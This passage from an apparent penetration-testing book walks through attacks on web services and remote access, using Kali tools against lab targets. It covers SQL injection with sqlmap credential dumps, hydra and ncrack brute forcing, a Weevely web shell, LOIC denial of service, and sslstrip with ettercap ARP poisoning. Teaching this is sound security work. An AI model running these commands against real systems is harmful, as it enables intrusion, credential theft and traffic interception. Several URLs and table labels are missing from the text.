web services; this is visible in the limited amount of findings that result from using
this product versus using vulnerability scanners that were specifically designed for
websites and web services. Nevertheless, because it is always undergoing updates, it
is worth monitoring the changes in its scanning abilities.
The Websploit application also uses the wmap modules.
Extending the functionality of web browsers
Web browsers are designed to interact with web services. As a result, it is natural
that they are selected as vulnerability assessment and exploit tools.
The best example of this type of toolset is OWASP's Mantra—a collection of thirdparty security utilities built on the Firefox web browser. OWASP's Mantra supports
Windows, Linux, and Macintosh test systems, and provides access to utilities that
support the following activities:
• Information gathering: These utilities provide passive reconnaissance,
reporting on the target's physical location, uncovering the underlying site
technologies, and searching and testing of the site's hyperlinks
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• Editors: A collection of utilities that edit, debug, and monitor HTML, CSS,
and JavaScript
• Proxy: Utilities that provide proxy management tools, including FoxyProxy,
a tool that facilitates switching back and forth among proxies
• Network utilities: These utilities provide clients for FTP and SSH
communications, and simplify DNS cache management
• Application auditing: These switch between various user agents, access to
web developer tools, control what gets sent as the HTTP referrer on a per-site
basis, find SQL injection and XSS vulnerabilities, allow testers to tamper with
the data, and access to the Websecurify tools
• Miscellaneous: Generate scripts, manage sessions and downloads, and
access encryption, decryption, and hashtag functions
The Mantra framework can be used to facilitate a semi-automated reconnaissance of
a website.
In the example shown in the following screenshot, the Mutillidae login page has
been opened in the Mantra browser. Using the drop-down menu (activated from the
blue logo in the upper-right corner), the SQL Inject Me application has been selected
from among the available tools, and is displayed in the left-hand panel.
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Web-service-specific vulnerability scanners
Vulnerability scanners are automated tools that crawl an application to identify the
signatures of known vulnerabilities.
Kali comes with several different preinstalled vulnerability scanners; they can be
accessed by navigating to Kali Linux | Web Applications | Web Vulnerability
Scanners. Penetration testers will typically use two or three comprehensive scanners
against the same target to ensure valid results. Note that some of the vulnerability
scanners also include an attack functionality.
Vulnerability scanners are quite "noisy", and are usually detected by the victim.
However, scans frequently get ignored as part of regular background probing across
the Internet. In fact, some attackers have been known to launch large-scale scans
against a target to camouflage the real attack or to induce the defenders to disable
detection systems to reduce the influx of reports that they have to manage.
A quick survey of the most important vulnerability scanners include the following:
An open-source Ruby framework that analyzes HTTP responses
received during scanning to validate responses and eliminate
It maps web applications and detects common vulnerabilities. The
results are saved in TXT, CVS, HTML, and RAW formats.
A Perl-based open-source scanner that allows IDS evasion and user
changes to scan modules; however, this "original" web scanner is
beginning to show its age, and is not as accurate as some of the more
modern scanners.
This scanner completes a recursive crawl and dictionary-based crawl
to generate an interactive sitemap of the targeted website that is
annotated with the output from additional vulnerability scans.
It is a GUI-based open-source vulnerability scanner. As it is written
in Java, it is a cross-platform (Linux, OS X, and Windows) and can be
customized by the user.
This scanner provides both a graphical and command-line interface to
a comprehensive Python-testing platform. It maps a target website
and scans for vulnerabilities. This project is acquired by Rapid7, so
there will be a closer integration with the Metasploit Framework in
the future.
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It is a Python-based open source vulnerability scanner.
This is OWASP's Java-based framework for analyzing HTTP and
HTTPS protocols. It can act as an intercepting proxy, a fuzzer, and a
simple vulnerability scanner.
This is a Python-based website crawler and scanner that can utilize
complex IDS evasion.
This is a framework for wired and wireless network attacks.
Most testers start testing a website by using Nikto, a simple scanner (particularly
with regards to reporting) that generally provides accurate but limited results; a
sample output of this scan is shown in the following screenshot:
The next step is to use more advanced scanners that scan a larger number of
vulnerabilities; in turn, they can take significantly longer to run to completion. It is
not uncommon for complex vulnerability scans (as determined by the number of pages
to be scanned as well as the site's complexity, which can include multiple pages that
permit user input such as search functions or forms that gather data from the user for a
back-end database) to take several days to be completed.
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One of the most effective scanners based on the number of verified vulnerabilities
discovered is Subgraph's Vega. As shown in the following screenshot, it scans a target
and classifies the vulnerabilities as high, medium, low, or information. The tester is
able to click on the identified results to "drill down" to specific findings. The tester
can also modify the search modules, which are written in Java, to focus on particular
vulnerabilities or identify new vulnerabilities.
Another scanner worth using is the Web Application Attack and Audit Framework
(w3af), a Python-based open-source web application security scanner. It provides
preconfigured vulnerability scans in support of standards such as OWASP. The
breadth of the scanner's options comes at a price—it takes significantly longer than
other scanners to review a target, and it is prone to failure over long testing periods.
A w3af instance configured for a full audit of a sample website is shown in the
following screenshot:
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Kali also includes some application-specific vulnerability scanners. For example,
WPScan is used specifically against WordPress CMS applications.
Testing security with client-side proxies
Unlike automated vulnerability scanners, client-side proxies require extensive
human interaction in order to be effective. A client-side proxy intercepts HTTP and
HTTPS traffic, allowing a penetration tester to examine communications between the
user and the application. It allows the tester to copy the data or interact with requests
that are sent to the application.
Kali comes with several client-side proxies, including Burp Suite, OWASP ZAP,
Paros, ProxyStrike, the vulnerability scanner Vega, and WebScarab. After extensive
testing, we have come to rely on Burp Proxy, with ZAP as a back-up tool.
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Burp is primarily used to intercept HTTP(S) traffic; however, it is part of a larger
suite of tools that has several additional functions, including:
• An application-aware spider that crawls the site
• A vulnerability scanner, including a sequencer to test the randomness of
session tokens, and a repeater to manipulate and resend requests between
the client and the website (the vulnerability scanner is not included with the
free version of Burp proxy that is packaged in Kali)
• An intruder tool that can be used to launch customized attacks (there are
speed limitations in the free version of the tool included with Kali; these are
removed if you purchase the commercial version of the software)
• The ability to edit existing plugins or write new ones in order to extend the
number and type of attacks that can be used
To use Burp, ensure that your web browser is configured to use a local proxy;
usually, you will have to adjust the network settings to specify that HTTP and
HTTPS traffic must use the localhost ( at port 8080.
After setting up the browser and the proxy to work together, manually map the
application. This is accomplished by turning off the proxy interception and then
browsing the entire application. Follow every link, submit the forms, and log in to
as many areas of the site as possible. Additional content will be inferred from various
responses. The site map will populate an area under the Target tab (automated
crawling can also be used by right-clicking on the site and selecting Spider This
Host; however, the manual technique gives the tester the opportunity to become
deeply familiar with the target, and it may identify areas to be avoided).
Once the target is mapped, define the Target – Scope by selecting branches within
the site map and using the Add to Scope command. Once this is completed, you
can hide items that are not of interest on the site map using display filters. A site map
created of a target website is shown in the following screenshot:
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Once spidering has been completed, manually review the directory and file list for
any structures that do not appear to be part of the public website, or that appear
to be unintentionally disclosed. For example, directories titled admin, backup,
documentation, or notes should be manually reviewed.
Manual testing of the login page using a single quote as the input produced an error
code suggesting that it may be vulnerable to a SQL injection attack; a sample return
of the error code is shown in the following screenshot:
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The real strength of a proxy is its ability to intercept and modify commands. For this
particular example, we'll use the Mutillidae website—a "broken" site that is installed
as part of the Metasploitable testing framework to perform an attack to bypass SQL
injection authentication.
To launch this attack, ensure that the Burp proxy is configured to intercept
communications by going to the Proxy tab and selecting the Intercept subtab.
Click on the Intercept is on button, as shown in the next screenshot. When this
is completed, open a browser window and access the Mutillidae logon page by
entering <IP address>/mutillidae/index.php?page=login.php. Enter variables
in the name and password fields, and then click on the login button.
If you return to the Burp proxy, you will see that the information that the user
entered into the form on the webpage was intercepted.
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Click on the Action button and select the option Send to Intruder. Open the main
Intruder tab, and you will see four subtabs—Target, Positions, Payloads, and
Options, as shown in the following screenshot. If you select Positions, you will
see that five payload positions were identified from the intercepted information.
This attack will use the sniper mode of the Burp proxy, which takes a single input
from a list provided by the tester and sends this input to a single payload position
at a time. For this example, we will target the username field, which we suspect is
vulnerable based on the returned error message.
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To define the payload position, we select the subtab Payloads.
To launch the attack, select Intruder from the top menu, and then select Start
Attack. The proxy will iterate the wordlist against the selected payload positions
as legitimate HTTP requests, and it will return the server's status codes. As you can
see in the following screenshot, most options produce a status code of 200 (request
succeeded); however, some of the data return a status code of 302 (request found;
indicates that the requested resource is presently located under a different URI).
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The 302 status indicates successful attacks, and the data obtained can be used to
successfully log on to the target site.
Unfortunately, this is too brief of an overview of Burp proxy and its capabilities.
The free version included with Kali will suffice for many testing tasks; however,
serious testers (and attackers) should consider purchasing the commercial version.
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Server exploits
As they have an extensive "attack surface" (communication channels, client software,
server operating systems, applications, middleware, and backend databases), web
services are vulnerable to multiple attack types. The range of possible attacks would
require their own book; therefore, we will only show a couple of types to highlight
the capabilities of Kali.
For this example, we will demonstrate how Kali can be used to launch a
denial-of-service (DoS) attack against a network server.
In general, attacking the operating system of a host system that provides web
services follows the methodology previously described; however, their architecture
is particularly vulnerable to DoS attacks.
Kali includes several tools that are described as stress-testing applications because
they simulate high activity loads against a server in order to assess how well it
will cope with the additional stress. If the server or its applications fail, then it has
suffered a DoS.
Many of the tools rely on an IPv4 system's inability to handle the newer IPv6
protocol (denail6, dos-new-ip6, flood_advertise6, and so on).
However, the most successful DoS attack tool—Low Orbit Ion Cannon
(LOIC)—must be manually added to Kali using the following steps:
1. Using the apt-get install command, install the following packages and
their dependencies: mono-gmcs, mono-mcs, monodevelop, and liblog4netcil-dev.
2. Download the LOIC from GitHub (
LOIC/downloads) into a separate folder. Extract the compressed files into the
folder using the unzip command.
3. Navigate to the folder and compile the application using the
following command:
mdtool build
4. The compiled build of the application will be in the /<path> bin/Debug/
LOIC.exe directory.
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Once the attack parameters have been entered, LOIC can be launched against the
target website. The attack is launched using the intuitive GUI interface, as shown in
the following screenshot:
Application-specific attacks
Application-specific attacks outnumber the attacks against specific operating
systems; when one considers the misconfigurations, vulnerabilities, and logic errors
that can affect each online application, it is surprising that any application can be
considered "secure." We will highlight some of the more important attacks against
web services.
Brute-forcing access credentials
One of the most common initial attacks against a website or its services is a
brute-force attack against the access authentication—guessing the username
and password. This attack has a high success rate because users tend to select
easy-to-remember credentials or reuse credentials, and also because system
administrators frequently don't control multiple access attempts.
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Kali comes with hydra, a command-line tool, and hydra-gtk, which has a GUI
interface. Both tools allow a tester to brute force or iterate possible usernames
and passwords against a specified service. Multiple communication protocols are
supported, including FTP, FTPS, HTTP, HTTPS, ICQ, IRC, LDAP, MySQL, Oracle,
POP3, pcAnywhere, SNMP, SSH, VNC, and others. The following screenshot shows
hydra using a brute-force attack to determine access credentials on an HTTP page:
Injection attacks against databases
The most common and exploitable vulnerability in websites is the injection
vulnerability, which occurs when the victim site does not monitor the user input,
thereby allowing the attacker to interact with backend systems. An attacker can craft
the input data to modify or steal contents from a database, place an executable onto
the server, or issue commands to the operating system.
One of the most useful tools for assessing SQL injection vulnerabilities is sqlmap,
a Python tool that automates the reconnaissance and exploitation of Firebird,
Microsoft SQL, MySQL, Oracle, PostgreSQL, Sybase, and SAP MaxDB databases.
We'll demonstrate an SQL injection attack against the Mutillidae database. The first
step is to determine the web server, the backend database management system, and
the available databases.
Launch a Metasploitable virtual machine, and access the Mutillidae website. When
this is completed, review the web pages to identify one that accepts user input (for
example, the user login form that accepts username and password from a remote
user); these pages may be vulnerable to SQL injection. Then, open Kali, and from a
command prompt, enter the following (using the appropriate target IP address):
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[email protected]:~# sqlmap -u
'' --dbs
Sqlmap will return data, as shown in the following screenshot:
The most likely database to store the application's data is the owasp10 database;
therefore, we will check for all tables of that database using the following command:
[email protected]:~# sqlmap -u
'' –D owasp10 --tables
The returned data from executing that command is shown in the following screenshot:
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Of the six tables that were enumerated, one was titled accounts. We will attempt to
dump the data from this part of the table. If successful, the account credentials will
allow us to return to the database if further SQL injection attacks fail. To dump the
credentials, use the following command:
[email protected]:~# sqlmap -u
'' –D owasp10 – T accounts --dump
Similar attacks can be used against the database to extract credit card numbers.
Maintaining access with web backdoors
Once a web server and its services have been compromised, it is important to ensure
that secure access can be maintained. This is usually accomplished with the aid of a
web shell—a small program that provides stealth backdoor access and allows the use
of system commands to facilitate post-exploitation activities.
Kali comes with several web shells; here we will use a popular PHP web shell
called Weevely.
Weevely simulates a Telnet session and allows the tester or attacker to take advantage
of more than 30 modules for post-exploitation tasks, including the following:
• Browsing the target filesystem
• File transfer to and from the compromised system
• Performing audits for common server misconfigurations
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• Brute-forcing SQL accounts through the target system
• Spawning reverse TCP shells
• Executing commands on remote systems that have been compromised,
even if PHP security restrictions have been applied
Finally, Weevely endeavors to hide communications in HTTP cookies to
avoid detection. To create Weevely, issue the following command from the
command prompt:
[email protected]:~# weevely generate <password> <path>
This will create the file weevely.php in the root directory. Executing commands on
remote systems that have been compromised, even if PHP security restrictions have
been applied:
Using a file upload vulnerability or any other compromise, including ones that
give access to the meterpreter file upload functions, upload weevely.php onto the
compromised website.
To communicate with the web shell, issue the following command from the
command prompt, ensuring that the target IP address, directory, and password
variables are changed to reflect those of the compromised system:
[email protected]:~# weevely http://<target IP address> <directory>
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In the example shown in the following screenshot, we have verified that we are
connected to the web shell using the whoami command (which identifies the correct
directory) and the ls command in order to obtain a file list (which again confirms the
source of the connection as weevely.php). The cat /etc/password command was
used to view passwords.
The web shell can also be used to establish a reverse shell connection back to the
tester, using either Netcat or the Metasploit Framework as the local listener.
In this chapter, we examined websites and the services that they provide to
authorized users from the perspective of an attacker. We applied the kill chain
perspective to web services in order to understand the correct application of
reconnaissance and vulnerability scanning.
Several different vulnerability scanners were presented; we focused on making and
using modifications to existing scanners to support the assessment of websites and
web services, the use of browser-based vulnerability scanners, and vulnerability
scanners that are specifically designed to assess websites and their services.
Only a select few exploits were reviewed, and we completed the chapter with an
examination of a web shell that is specific for web services.
In the next chapter, we will learn how to identify and attack remote access
communications that connect users to the web services.
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Exploiting Remote Access
In Chapter 9, Reconnaissance and Exploitation of Web-based Applications, we applied the
kill chain methodology against web-based applications. We reviewed reconnaissance,
vulnerability scanning, and exploitation methodologies that are particular to websites
and other applications. We also reviewed the unique tools that are required for
assessing web-based applications, especially client-side proxies and post-exploitation
tools such as web shells.
In this chapter, we'll focus on compromising the remote access communications to
the devices and applications that have proliferated over the Internet.
Attackers are taking advantage of the pervasiveness of these remote access
communications to achieve the following goals:
• Exploit pre-existing communication channels to gain direct remote access to
target systems
• Intercept communications
• Deny authenticated users access to regular communications and force them
to use insecure channels that might be vulnerable to other attacks
Since most users feel they are using communications tools that are "secure"
(even banks rely on SSL protocols to secure online banking), these attacks can
have a significant impact on both the communication that is compromised as
well as the victim's trust in other online communications.
This chapter will focus on the reconnaissance and exploit phases of the kill chain
as they pertain to remote access communications. It will not cover subjects such as
war dialing, voice over IP and related telephony issues, highly proprietary systems
such as specialized kiosks, and complex applications that deserve their own book.
Exploiting Remote Access Communications
By the end of this chapter, you will have learned the following:
• Exploiting operating system communications protocols (RDP and SSH)
• Exploiting remote access applications (VNC)
• Configuring Kali for Secure Sockets Layerv2 scanning
• Reconnaissance and exploitation of Secure Sockets Layer, including
man-in-the-middle and denial of service attacks
• Attacking a virtual private network
Exploiting operating system
communication protocols
Some protocols transmit access credentials in the clear (Telnet and FTP). Using a packet
sniffer such as Wireshark will allow an attacker to intercept and reuse the credentials.
However, most remote access protocols, especially those embedded in the
operating system, are now protected with access controls and encryption.
Although this adds a degree of security, they are still subject to attacks that may
occur due to misconfigurations or the use of poor encryption keys. In this section,
we will examine other risks that can be exploited to compromise supposedly secure
communication channels.
Compromising Remote Desktop Protocol
Remote Desktop Protocol (RDP) is a proprietary Microsoft communication protocol
which allows a client to connect with another computer using a graphical interface.
Although the protocol is encrypted, access to the server can be gained if the attacker
guesses the username and password.
It should be noted that the most common compromise of RDP is
using social engineering. The user is contacted by a remote service
technician who convinces the user that they need remote access to
fix something on the user's system. Malware attacks that target the
RDP protocol are also becoming more common.
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From a tester's (or attacker's) perspective, the first step in compromising a target's RDP
service is to locate the RDP server and characterize the strength of the cryptography
that is in use. This reconnaissance is normally conducted using a tool such as nmap,
configured to scan for the standard RDP port 3389.
The nmap tool now includes specialized scripts that provide additional details about
RDP, including the configuration of the encryption. If time permits, and if stealth is
not an issue, these should be used during the initial scanning stage. The command line
to invoke the script that enumerates supported encryption protocols is as follows:
[email protected]:~# nmap – p 3389 –-script rdp-enum-encryption <IP>
The execution of the previous command is shown in the following screenshot:
Some RDP vulnerabilities have been identified (especially MS12-020), and these can
be remotely exploited using crafted packets.
To determine whether the current version of RDP is vulnerable, use the appropriate
nmap script, by invoking the following command line:
[email protected]:~# nmap –sV -p 3389 --script rdp-vuln-ms12-020
< IP>
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The execution of the previous command is shown in the following screenshot:
Once a vulnerable system has been identified using nmap, it can be exploited
using the Metasploit Framework's auxiliary/dos/windows/rdp/ms12_020_
maxchannelids module to cause a denial of service.
The most common method to compromise RDP is to use a brute-force attack based
on a dictionary of the most common usernames and passwords (target-specific
dictionaries can also be constructed to be target specific using tools such as CeWL and
crunch; brute force attempts using these dictionaries are faster than attempts using
generic dictionaries, and are stealthier because they generate less network traffic).
Kali provides several tools to brute-force access, including hydra, medusa, ncrack,
and patator. Through testing, we have found ncrack to be the most reliable in terms
of speed and effectiveness.
Lists of common usernames and passwords are available from several
sources. Most cracking tools, especially hydra, ncrack, and john (John
the Ripper), include lists in the application's home directory. Testers can
also download lists of various types from online sources. Lists derived
from compromised user accounts are particularly useful because they
reflect the real-world usage of the authentication information. No matter
what list you use, you may wish to personalize it for testing by adding
names of the current and former employees (for usernames) or wordlists
that have been created using tools such as CeWL, which crawls the
target's website to create words of a defined length.
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The ncrack tool is a high-speed authentication cracking tool that supports the FTP,
HTTP(S), POP3, RDP, SMB, SSH, Telnet, and VNC protocols. It is invoked from the
terminal window using the following command:
[email protected]:~# ncrack -vv -U user.lst -P password.list
<Taget IP>:<Target Port>
The execution of the previous command is shown in the following screenshot:
The ncrack tool discovered the access credentials for all users in approximately
1,700 seconds. However, the amount of time required will depend on the overall
size of the dictionaries used and how many guesses must be made before we get
a successful hit.
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Compromising Secure Shell
The secure shell (SSH) protocol is a network protocol that is used to establish an
encrypted channel across an open network between a server and a client. In general,
a public-private key pair allows users to log in to a system without requiring the
password. The public key is present on all systems that require a secure connection,
while the user keeps the private key secret. The authentication is based on the private
key; SSH verifies the private key against the public key. On the target systems, the
public key is verified against a list of authorized keys that are permitted to remotely
access the system. This supposedly secure communication channel fails when the
public key is not cryptographically strong and can be guessed.
Like RDP, SSH is vulnerable to a brute-force attack that guesses the user's access
credentials. For this particular example, we'll use a tool called hydra. The hydra
tool is probably the oldest brute-force tool and is definitely the most feature-rich
tool. It also supports attacks against the greatest number of target protocols.
The hydra tool can be found by navigating to Kali Linux | Password Attacks |
Online Attacks, and it can also be invoked directly from the command line. There
are two versions of hydra: the command-line version (hydra) and the GUI version
(hydra-gtk). For this example, we will invoke hydra from the command line using
the following command:
[email protected]:~# hydra -s 22 -v -V -L <file path/name>
-P <file path/name> -t 8 <Target IP><protocol>
The command parameters are described in the following list:
• -s designates the port to be used. Although it does not need to be
entered when the default port is intended to be used, it is used to
remove ambiguities and because it speeds up testing, in this case.
• -v and -V select the maximum verbosity of reports.
• -L selects the login, or username file.
• -P selects the password file.
• -t selects the number of parallel tasks or connections. The greater the
number, the faster the testing will occur. However, if the number is too
high, errors may be introduced and correct passwords will be missed.
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The following screen capture presents the verbose output of the initial
brute-force attack:
When a successful login is achieved using the dictionary, hydra reports the port, the
protocol, the host, and the login credentials. It then continues to use the dictionaries to
identify the other possible accounts. In the top-most line of the following screenshot,
Hydra has correctly identified an SSH account with DigitalDefence as the login
and darkstar as the password; the screenshot also shows the other attempts made
by Hydra as it attempts to identify additional accounts.
If you know the password configuration, you can also use hydra to autocreate the
password list on the fly, using the following command:
[email protected]:~# hydra –L user.lst –V –x 6:8:aA1 <IP address> SSH
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The parameters used in the previous command are described in the following list:
• -x directs Hydra to automatically create the passwords used in the
brute-force attack. The passwords will be created according to the
parameters that follow -x.
• 6:8 indicates a minimum password length of six characters and a maximum
password length of eight characters.
• aA1 will automatically create the passwords using a combination of
letters and numbers. It will use all lowercase letters (denoted by a) and all
uppercase letters (denoted by A), and the numerals 0 to 9 (denoted by 1).
You can also add special characters to the generated list, however, you need to add
single quotes around the –x option, as shown in the following command:
[email protected]:~# -L user.lst –V –x '6:8:aA1 [email protected]#$' <IP address> SSH
Exploiting third-party remote access
Applications that bypass system protocols to provide remote access were quite
popular at one time. Although they are presently being replaced with online services
such as GoToMyPC or LogMeIn, they remain quite common. Examples of such
programs include pcAnywhere and VNC.
It should be noted that instances of these tools may be present on the network due to
the legitimate actions of a system administrator. However, they may also be present
because the network has been compromised and the attacker wanted a means to
remotely access the network.
In the following example, we'll compromise VNC using the built-in functionality of
the Metasploit Framework.
1. Locate the remote access software on the target using nmap. As shown in the
following screenshot, VNC is usually found on TCP port 5900.
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2. Activate the Metasploit Framework using the msfconsole command from
a terminal window. From the msf prompt, configure it to compromise VNC,
as shown in the following screenshot:
3. Initiate the run command, as shown in the following screenshot, and watch
for a successful run:
4. Finally, once Metasploit has determined the credentials, validate them by
logging in to the VNC client using vncviewer. From the command prompt
in a terminal window, enter the following:
[email protected]:~# vncviewer <Target IP>
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This will connect to the remote host and prompt you to enter the appropriate
credentials. When the authentication is successful, a new window will be
opened, giving you remote access to the target system. Verify that you are
on the target system by issuing the whoami query, as shown in the following
screenshot, and request the system's ID or IP address:
Attacking Secure Sockets Layer
Secure Sockets Layer (SSL) and its successor, Transport Layer Security (TLS),
are cryptographic protocols used to provide secure communications across the
Internet. These protocols have been widely used in secure applications such as
Internet messaging and e-mail, web browsing, and voice-over-IP.
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These protocols are ubiquitous across the Internet, however, they originated in the
mid-1990s and are increasingly coming under attack as they age. SSL Version 2.0
(Version 1.0 was never publicly released) contains a significant number of flaws that
can be exploited, such as poor key control and a weakness to man-in-the middle
attacks. Although most users have implemented Version 3.0 of that protocol or
newer versions of TLS, misconfigured systems may still permit the use of the
earlier insecure version.
Configuring Kali for SSLv2 scanning
Before beginning the reconnaissance phase, verify that Kali has been configured
to scan for SSL version 2 protocols. At the time of writing this book, this was not
the case.
From a terminal window, enter the following command:
[email protected]:~# openssl_s_client -connect -ssl2
If this returns an unknown option -ssl2 error (shown in the following screenshot),
then additional configuration will be required.
To apply the fix, you must re-patch the OpenSSL application using the following
steps (ensure that the path used reflects the download directory used):
1. Install quilt, a program used to manage multiple patches to an application's
source code, using the following command:
[email protected]:~# apt-get install devscripts quilt
2. Download the openssl source code, verify patches that have been applied,
update the configuration files, and then rebuild the application. Use the
following commands:
[email protected]:~# apt-get source openssl
[email protected]:~# cd openssl-1.0.1e
[email protected]:~/openssl-1.0.1e# quilt pop -a
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3. Edit the /openssl-1.0.1e/debian/patches/series file, and delete the
following line from the file:
4. Edit the /openssl-1.0.1e/debian/rules file, and delete the no-ssl2
argument. Then, reapply patches to openssl. Use the following commands:
[email protected]:~/openssl-1.0.1e# quilt push -a
[email protected]:~/openssl-1.0.1e#
dch -n 'Allow SSLv2'
5. When this is complete, rebuild the openssl package, and then reinstall it.
This step can be performed with the following commands:
[email protected]:~/openssl-1.0.1e# dpkg-source
[email protected]:~/openssl-1.0.1e# debuild -uc -us
[email protected]:~/openssl-1.0.1e# cd /root
[email protected]:~# dpkg -i *ssl*.deb
6. Confirm that patches have been successfully applied by reissuing the
command to connect using SSLv2, as shown in the following screenshot:
Kali scripts that rely on openssl, particularly sslscan, will need to be recompiled.
To recompile, first download the source and then rebuild it. When this is complete,
reinstall it using the following commands:
[email protected]:~# apt-get source sslscan
[email protected]:~# cd sslscan-1.8.2
[email protected]:~/sslscan-1.8.2# debuild -uc -us
[email protected]:~/sslscan-1.8.2# cd /root
[email protected]:~# dpkg -i *sslscan*.deb
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Kali's issue with SSLv2 may be fixed in a future release, therefore, verify this before
testing the SSL connectivity.
Reconnaissance of SSL connections
The reconnaissance phase of the kill chain remains important when assessing the SSL
connectivity, especially when reviewing the following items:
• The x.509 certificate used to identify the parties involved in establishing the
secure SSL connection
• The type of encryption being used
• The configuration information, such as whether automatic renegotiation of
SSL sessions is permitted
The SSL certificate can provide information that may be used to facilitate social
More frequently, a tester or attacker wants to determine whether the certificate is
valid or not. Certificates that are invalid may result from an error in checking the
signature, a broken certificate chain, the domain specified in the certificate does not
match the system, or the certificate has expired, been revoked, or is known to have
been compromised.
If a user has previously accepted an invalid certificate, they will most likely accept a
new invalid certificate, making the attacker's job significantly easier.
The type of encryption used to secure an SSL connection is particularly important.
Encryption ciphers are divided into the following categories:
• Null ciphers: These ciphers are used to verify the authenticity and/or
integrity of a transmission. Because no encryption is applied, they do
not provide any security.
• Weak ciphers: This is a term used to descript all of the ciphers with a key
length of 128 bits or less. Ciphers that use the Diffie-Hellman algorithm for
a key exchange may also be considered to be weak as they are vulnerable to
man-in-the-middle attacks. The use of MD5 hashes may be considered to be
weak due to collision attacks. Finally, recent attacks against RC4 have also
called its continued use into question.
• Strong ciphers: These are those ciphers that exceed 128 bits. Presently,
the accepted, most secure option is the AES encryption with a 256-bit key.
If possible, this should be used with the Galois/Counter mode, a modern
block cipher that supports both authentication and encryption.
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SSL and TLS rely on cipher suites (specific combinations of authentication,
encryption, and message authentication code algorithms) to establish the security
settings for each connection. There are more than 30 such suites, and the complexity
of selecting the best option for each security requirement frequently results in users
defaulting to less secure options. Therefore, each SSL and TLC connection must be
thoroughly tested.
To conduct reconnaissance against SSL connections, use the NSE modules of
nmap or SSL-specific applications. The nmap NSE modules are described in the
following table.
Nmap NSE module
Module Function
Retrieves a target host's date and time from its TLS
ServerHello response.
Repeatedly initiates SSL and TLS connections, each time
trying a new cipher and recording if the host accepts or
rejects it. Ciphers are shown with a strength rate. This is a
highly intrusive scan, and may be blocked by the target.
Queries Google's Certificate Catalogue for information
that pertains to the SSL certificate retrieved from the target.
It provides information on how recently, and for how long,
Google has been aware of the certificate. If a certificate is
not recognized by Google, it may be suspicious/false.
Checks whether the SSL certificate used by a host has a
fingerprint that matches a databases of compromised or
faulty keys. Presently, it uses the LittleBlackBox database.
However, any database of fingerprints can be used.
Determines whether the server supports the obsolete and less
secure SSL Version 2 and which ciphers are supported.
Retrieves a server's SSL certificate. The amount of information
returned depends on the verbosity level (none, -v, and -vv).
To invoke a single script from the command line, use the following command:
[email protected]:~# nmap --script <script name> -p 443 <Target IP>
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In the following example, the ssl-cert script was invoked with the -vv option for
maximum verbosity. The data on from this script is shown in the following screenshot:
During the reconnaissance, a tester can elect to launch all SLL-specific modules using
the following command:
[email protected]:~# nmap --script "ssl*" <IP address>
Kali's reconnaissance and attack tools that are specific to SSL and TLS can be
invoked from the command line or selected from the menu by navigating to Kali
Linux | Information Gathering | SSL Analysis. The tools are summarized in the
following table:
Conducts network protocol analysis of SSLv3 and TLS communications.
If provided with the appropriate encryption key, it will decrypt SSL
traffic and display it in the clear.
Queries SSL services to determine which ciphers are supported. Output
includes the preferred SSL ciphers and is displayed in
text and XML formats.
Enables man-in-the-middle attack conditions on all SSL connections
over a particular LAN, dynamically generating certificates for the
domains that are being accessed on the fly.
Automates the testing of SSL and TLS clients to determine the resistance
against man-in-the-middle attacks.
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Designed to transparently hijack the HTTP traffic on a network, watch for
HTTPS links, and redirect and then map these links to spoofed HTTP or
HTTPS links. It also supports modes to supply a favicon that looks like a
lock icon as well as selective logging of intercepted communications.
Analyzes the SSL configuration of a server.
Unifies the use and output of several other SSL-specific applications,
checks for encryption strength, certificate parameters, and renegotiation
Performs man-in-the-middle attacks against SSL and TLS networks.
Connections are transparently intercepted through a network address
translation engine and redirected to sslsplit, which terminates
the original connection and initiates a new connection to the original
destination while logging all the transmitted data. It supports plain
TCP, SSL, HTTP/HTTPs, and IPv4 and IPv6.
The most commonly used program is sslscan, which queries the SSL services in
order to determine the certificate details and the supported ciphers. The output is
in text and XML formats.
When testing a particular connection, use the --no-failed option, as shown in the
following screenshot, to have sslscan show only the accepted cipher suites.
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The sslyze python tool analyzes a server's SSL configuration and validates
the certificate, tests for weak cipher suites, and identifies the configuration
information that may support additional attacks. In the sample output, shown
in the following screenshot, it has identified a certificate mismatch that could
support some attack types.
Another SSL reconnaissance tool is tlssled, as shown in the following screenshot.
It is very fast, simple to operate, and the output is user friendly.
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No matter what approach you use for the SSL reconnaissance, make sure that you
cross validate your results by running at least two different tools. In addition, not all
SSL configured devices will be online at the same time. Therefore, on large networks,
make sure that you scan for the SSL vulnerabilities several times during the course of
the testing.
A new tool that is presently emerging from development is OWASP's
O-Saft (, which provides
a comprehensive overview of the SSL configuration, ciphers, and
certificate data.
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Using sslstrip to conduct a man-in-the-middle
Despite the security offered by the SSL protection, there are some effective attacks
against the protocol. In 2009, Moxie Marlinspike demonstrated sslstrip, a tool that
transparently hijacks the HTTP traffic on a network and redirects the traffic to look
like HTTP or HTTPS links. It removes the SSL protection and returns the secured lock
icon to the victim's browser so that the interception cannot be readily detected.
In short, sslstrip launches a man-in-the-middle attack against SSL, allowing the
previously secured data to be intercepted.
To use sslstrip, you must first configure the intercept system into the forwarding
mode using the following command:
[email protected]:~# echo "1" > /proc/sys/net/ipv4/ip_forward
Next, set up the iptables firewall to redirect the HTTP traffic to sslstrip using the
following command:
[email protected]:~# iptables –t nat –A PREROUTING –p tcp
–destination-port 80 –j REDIRECT –to-port <listenport>
In this example, the listening port has been set to port 5353.
Now that the configuration is complete, run sslstrip using the following command:
[email protected]:~# sslstrip –l 5353
The execution of the previous commands is shown in the following screenshot:
Minimize the active terminal window that is executing sslstrip, and open a new
terminal window. Use ettercap to spoof ARP and redirect the traffic from the network
or target system directly to the intercepting system using the following command:
[email protected]:~# ettercap –TqM arp:remote / /
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Here, the ettercap -T switch selects the text-only interface, -q forces the console
into the quiet mode, and the –M option activates the man-in-the-middle attack to
hijack and redirect data packets. The arp:remote switch implements the ARP
poisoning attack and places the attacker as a man-in-the-middle with the ability
to view and modify packets in the transmission. The remote portion of the switch
is required if you want to view the remote IP addresses and communications that
pass through a gateway.
The execution of the previous command is shown in the following screenshot:
If the target system goes to access SSL-secured content, their queries are directed
through the gateway to the intercepting system.
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From the user's perspective, they will be directed to the site and presented with
a There is a problem with the site's security certificate security alert, prompting
them with a decision to proceed. If they select Yes, they will be directed to their
selected page. The lock icon in the lower-right corner of the browser will still
indicate that SSL is engaged, indicating that their communications are secure.
In the background, the sslstrip tool removes SSL, leaving raw content that can
be viewed in the ettercap log, as shown in the following screenshot:
This attack is only effective from the same Layer 2 network segment. However,
it is successful on both wired and wireless networks. Although the ARP redirect
can be applied against a network segment, such an attack will impact the network
bandwidth, which may be detected. Therefore, it is most effective to direct this
attack against single devices.
To disable the PREROUTING rule, replace –A with –D.
